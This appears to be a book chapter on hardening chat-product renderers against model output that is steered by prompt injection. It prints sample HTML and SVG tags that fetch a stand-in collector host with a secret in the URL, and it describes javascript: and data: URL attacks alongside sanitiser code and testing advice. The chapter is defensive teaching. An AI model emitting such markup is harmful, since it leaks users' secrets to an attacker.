Model output as untrusted markup

The renderer in front of a chat product decides what the model's output is allowed to become. Fed to a plain-text node, a reply is inert characters that a person reads. Fed to a markdown renderer, the same reply becomes live markup: a tree of elements the browser will act on, some of which fetch, navigate or execute. The previous chapter showed one consequence, an image that fetches on render, and that is the mild case. The general case is that the string is chosen, in part, by whoever can inject instructions into the model, and everything the renderer is willing to build from it is a capability handed to that person.

The frame that keeps you out of trouble is to stop thinking of the model's output as text you are displaying and start thinking of it as markup you are executing. Text is inert; you can print it anywhere. Markup carries behaviour — fetches, script, layout that reaches off-page — and executing markup from an untrusted source is the same category of decision as eval-ing a string a stranger handed you. Everything below follows from taking that category seriously.

Raw HTML is the door you did not mean to leave open#

Most markdown renderers, by default or by a single option, pass through embedded HTML. The author writes <div> in their markdown and the renderer emits a <div>, because markdown was designed for humans writing documents who occasionally need a tag markdown does not have. That convenience is a liability when the "author" is a model steered by an attacker, because raw HTML is a far larger vocabulary than markdown's image-and-link surface. An attacker who can emit HTML does not need the ![]() trick at all; they have the whole tag set.

<!-- All of these fetch or execute with no click, if raw HTML renders -->
<img src="https://collector.test/i/SECRET">
<image href="https://collector.test/i/SECRET">
<video poster="https://collector.test/i/SECRET"></video>
<link rel="stylesheet" href="https://collector.test/i/SECRET">
<iframe src="https://collector.test/i/SECRET"></iframe>
<meta http-equiv="refresh" content="0;url=https://collector.test/SECRET">
<style>body{background:url("https://collector.test/i/SECRET")}</style>

Every one of those issues a request on render, and the reasons differ enough that the list repays walking line by line rather than scanning. <img src> is the case the previous chapter took apart, where the browser needs the bytes before it can decide how much space the element occupies. <image href> is that same element under its SVG spelling, which is worth noticing on its own, because a filter written to look for the string img with an attribute called src walks straight past a tag called image with an attribute called href. <video poster> names the still frame a video shows before playback starts, so the browser fetches it in order to have something to paint in the meantime. <link rel="stylesheet"> is fetched with priority, since the browser cannot compute the page's layout until it knows the rules that govern the layout. <iframe src> opens a nested browsing context — a second, independent document embedded in the first — and loads a whole page into it. <meta http-equiv="refresh"> is not a resource at all; it is a directive the parser obeys, which navigates the page to the named URL after the stated delay, and the delay here is 0. <style> with a url() inside it fetches through CSS, which means the request originates from a stylesheet rule matching an element rather than from any tag you would think to inspect.

The pattern under that list is what makes enumeration a bad strategy. HTML has many independent ways to say this page is incomplete without that, each added by somebody solving a real layout problem and none of them added with your threat model in mind. So the lesson is not to enumerate and block these tags, because the enumeration is long and the format keeps inventing new ways to fetch. The lesson is that raw HTML from the model must not render at all. The renderer's first job is to reject it — not escape-and-display it as visible tags, though that is a safe fallback, but certainly not pass it through. Configure the markdown library to disable HTML, and run the output through a sanitiser that drops anything not on a small allowlist of formatting elements, so that a tag the library missed is caught by the second pass.

// markdown-it with HTML disabled, then a sanitiser as defence in depth.
import MarkdownIt from "markdown-it";
import createDOMPurify from "dompurify";

const md = new MarkdownIt({ html: false, linkify: false });
const DOMPurify = createDOMPurify(window);

function renderAssistant(markdown) {
  const html = md.render(markdown);          // html:false drops raw HTML tags
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["p", "br", "strong", "em", "code", "pre",
                   "ul", "ol", "li", "h1", "h2", "h3",
                   "blockquote", "a", "img"],
    ALLOWED_ATTR: ["href", "src", "alt"],
    ALLOWED_URI_REGEXP: /^https?:\/\//i,      // scheme allowlist, see below
  });
}

Setting html: false handles the markdown layer, and linkify: false stops the renderer from turning bare text that looks like a URL into a live link the model never even had to format. That second flag closes a gap people rarely think about: with linkification on, the model does not have to emit [text](url) at all, because writing the bare characters of a URL in a sentence is enough for the renderer to build the anchor on its behalf. The sanitiser is there because you should assume the markdown library has a bypass you have not read about yet; two independent passes that both have to fail is cheaper than being certain either one is complete.

Why that second pass is a parser rather than a longer regular expression is worth having explicitly, because writing one's own filter is a strong instinct and the way it fails is invisible from the code. A filter inspects a string and looks for what its author expects a tag to look like. A browser reads the same string with a parser whose job is to recover from malformed markup by guessing what the author meant, and the two disagree about a large family of inputs: an attribute quoted with a backtick, a tag name interrupted by a stray byte, a bracket left unclosed that the parser cheerfully closes for you. Each of those is nothing at all to a string matcher and a live element to the parser.

The subtler failure catches people who did reach for a library, and it is the reason to care which library. A sanitiser parses the input into a tree, decides the tree is safe, and serialises it back to a string for you to insert. The browser then parses that string again — and can build a different tree from the one the sanitiser approved, because serialising a tree and re-parsing the result is not guaranteed to return the tree you started with. The name for that class of bug is mutation XSS. It is why the practical advice is a maintained library that operates on the parsed DOM and whose authors track the known mutations, rather than a filter you wrote plus a belief that markup means the same thing to everyone who reads it.

Configuring the policy is half the checklist item; testing it is the other half, and a policy nobody tested is a policy nobody knows the shape of. The test is a fixture of hostile inputs run through renderAssistant, each asserting on the output rather than eyeballing a page. Feed it a raw <img src>, a <script>, a javascript: href, a data:text/html URL, an inline <svg> with an external href, and a <meta refresh>, and assert that none of them survives into the returned HTML — no src to a foreign host, no <svg>, no non-http(s) scheme. Point every hostile URL at a canary host — a destination only you know about, whose logs prove a request was made — and assert, at the network layer in an integration test, that rendering the fixture produces zero outbound requests. The two assertions catch different failures: the string assertion catches a tag that survived sanitising, and the network assertion catches a fetch you did not predict from a construct you did not think to string-match. Wire the fixture into CI — continuous integration, the suite your build server runs against every commit — because the thing that breaks this policy is a library upgrade that changes a default, and a default that changes silently is caught only by a test that runs on every build.

Not every scheme is a network location#

Suppose you have closed raw HTML and you keep a and img. You still have to decide what a URL is allowed to be, because href and src accept more than http. A URL's scheme is the part before the colon, and several schemes do things that have nothing to do with fetching a resource from a server.

Take the obvious row first, since the reason it is dangerous is a different reason from all the others. javascript: is a URL in the grammatical sense — a scheme, a colon, and then a body that the scheme's own rules interpret — and what those rules say is that the body is script, to be run in the page that activated it. Put it in an href and a click executes that script with your page's origin behind it, so the attacker's code can read whatever your page can read: the session cookie, the DOM, a token sitting in local storage. That is cross-site scripting, and it is a strictly larger problem than carrying one secret out of the building, because a script does not need a channel. It has every channel the page has, and it can make new ones.

The one that surprises people is data:. A data: URL does not point at a server; it is the content, encoded inline. Its form is data:<mediatype>[;base64],<payload> — a content type, an optional flag saying the payload is base64 rather than percent-encoded text, and then the payload itself — and no part of that is a location. So data:image/svg+xml;base64,... carries an entire SVG document in the attribute, and data:text/html,... carries an entire HTML page. That defeats any hostname-based thinking entirely, because there is no hostname — the payload never leaves for a server you could allowlist, it executes locally. A policy that permits data: because "it's just an image" is permitting an arbitrary document. The intuition to carry away is that a scheme allowlist is not a list of protocols; it is a list of the things you are willing for a URL to mean, and two of the entries above mean "run this" rather than "go and get that".

The fix is a scheme allowlist that permits only http and https, which is the ALLOWED_URI_REGEXP line above. This is a genuine improvement and it is where a lot of teams stop, having closed raw HTML, the script schemes, and data:. What remains after it is a shorter list, but it is the awkward list, and two of its entries deserve naming.

The two holes an http-only policy leaves#

The first is that permitting https does not tell you where an https URL ends up. A URL to an allowlisted host can redirect, so the destination your policy validated is not the destination that gets fetched. That is a large enough problem, and specific enough, that it is the whole of the next chapter; note here only that scheme-checking and hostname-checking both look at the string the model emitted, and the string is not the request.

The second is inline SVG, and it is worse than it looks because SVG is not an image format in the sense that PNG is an image format. SVG is an XML document, a member of the HTML family, and it can carry the same behaviours HTML carries. An SVG can reference an external resource that the browser fetches on render:

<svg xmlns="http://www.w3.org/2000/svg">
  <image href="https://collector.test/i/SECRET" />
  <use href="https://collector.test/i/SECRET" />
  <style>text { fill: url("https://collector.test/i/SECRET"); }</style>
</svg>

Each of those lines fetches, and each does it by a different route. <image href> is SVG's own picture element, so the fetch is the subresource load from the previous chapter wearing different spelling. <use href> is the reuse primitive: it names an element elsewhere and renders a copy of it here, and "elsewhere" has historically been allowed to mean another document at another address. The <style> line reaches a URL through a CSS paint value, so the request is issued by the styling engine while it works out how to fill some text, at a moment and from a code path that has nothing to do with the element tree anyone was inspecting.

How the SVG reaches the page then decides how much worse this gets, and the difference is sharp enough that it is the source of most confident wrong statements about SVG safety. An SVG loaded through <img src="chart.svg"> is handled as an image: the browser renders it in a restricted mode in which scripts do not run and external references are not resolved, and in that mode it genuinely does behave like a PNG. An SVG inlined — its markup pasted straight into the document, which is exactly what a renderer emitting model-authored SVG produces — is not an image at all. It is part of your page, in your origin, and its elements are live, so <image href> fetches, <use href> resolves, and a <script> inside it runs with your page's privileges. A team can therefore be entirely right that "our SVGs are safe, we serve them as images" and entirely wrong about the path this SVG takes, because the model's SVG is not being served as an image. It is being pasted into the DOM, the browser's live tree of the page, which turns an "occasional chart" feature into a script-execution surface.

Sanitising a format designed to be a document#

Sanitising SVG is the usual proposal, and it is where the honest limitation of this whole chapter lives. Running SVG through a sanitiser that strips href, xlink:href, <script>, event handlers, and external references is reasonable, and it is also an arms race you have signed up for indefinitely. SVG is a format designed to be a document — it has scripting, external references, animation, foreign objects that embed HTML, and a specification large enough that new fetch-capable constructs surface periodically. The <foreignObject> element alone lets an SVG embed arbitrary HTML, which drags the entire HTML attack surface back inside the "image" you thought you had reduced to shapes. Each construct is a sanitiser bypass until the sanitiser learns about it, and you are betting that your library learns about each one before an attacker uses it against you. That is a maintainable bet if you keep the library current and keep the allowlist tight, and it is a bet, which is a different posture from the closed cases above where raw HTML simply does not render and data: simply does not pass. Sanitising SVG is not closing a hole; it is staffing one.

The asymmetry between the two postures is worth making explicit rather than leaving as a mood, because it decides what you promise a reviewer. A closed decision can be stated as a property of the system: this renderer does not build raw HTML, and no scheme other than http and https survives. An open decision can only be stated as a process: this renderer sanitises SVG with a library we keep current, and the test asserts the absence of the bypasses we currently know about. The second sentence is weaker in a way that matters a year later, when the library is several versions behind.

The distinction is also what makes one of them enforceable by a test and the other only observable by one. A test can assert that no <svg> element survives rendering, and that assertion either holds or fails on every commit. No test can assert that a sanitiser knows about every construct the format will grow, since the constructs it does not know about are precisely the ones nobody has written a case for yet. Where a control's correctness depends on knowledge the test cannot contain, the honest description of it is a staffing commitment.

Allowlisting your own domains#

A tempting shortcut sits underneath all of this: permit images and SVG, but only from domains you own, on the theory that your own infrastructure is not attacker-controlled. It is a reasonable-sounding rule and it fails for a reason that has nothing to do with schemes or markup, which is why allowlisting hosts gets a chapter of its own rather than a paragraph here. Your own hosts are frequently not "not attacker-observable." A CDN you control — the content delivery network that serves your product's static files — serves user-uploaded content, so an attacker uploads an object and reads the request logs for it; an internal dashboard accepts query parameters and stores or reflects them, so whoever planted the injection can read back what the request carried. "Internal" describes network reachability, and the property you actually need is that the destination cannot observe the request — which an allowlisted host you own can violate every day.

The controls in this chapter are the ones that act on the model's output text: what markup the renderer will build from it, and which schemes it will honour. Both are properties of the string, and both are cheap to state, test and keep tested. Taken together they turn a renderer that would execute anything into one that builds a small, known set of elements pointing at ordinary web addresses.

What they cannot reach is where those addresses lead. The destination is not a property of the model's text at all, and validating the string the model wrote is a different act from validating what actually gets fetched. Closing the remaining holes means following the request to where it really lands, which is the subject of the next chapter.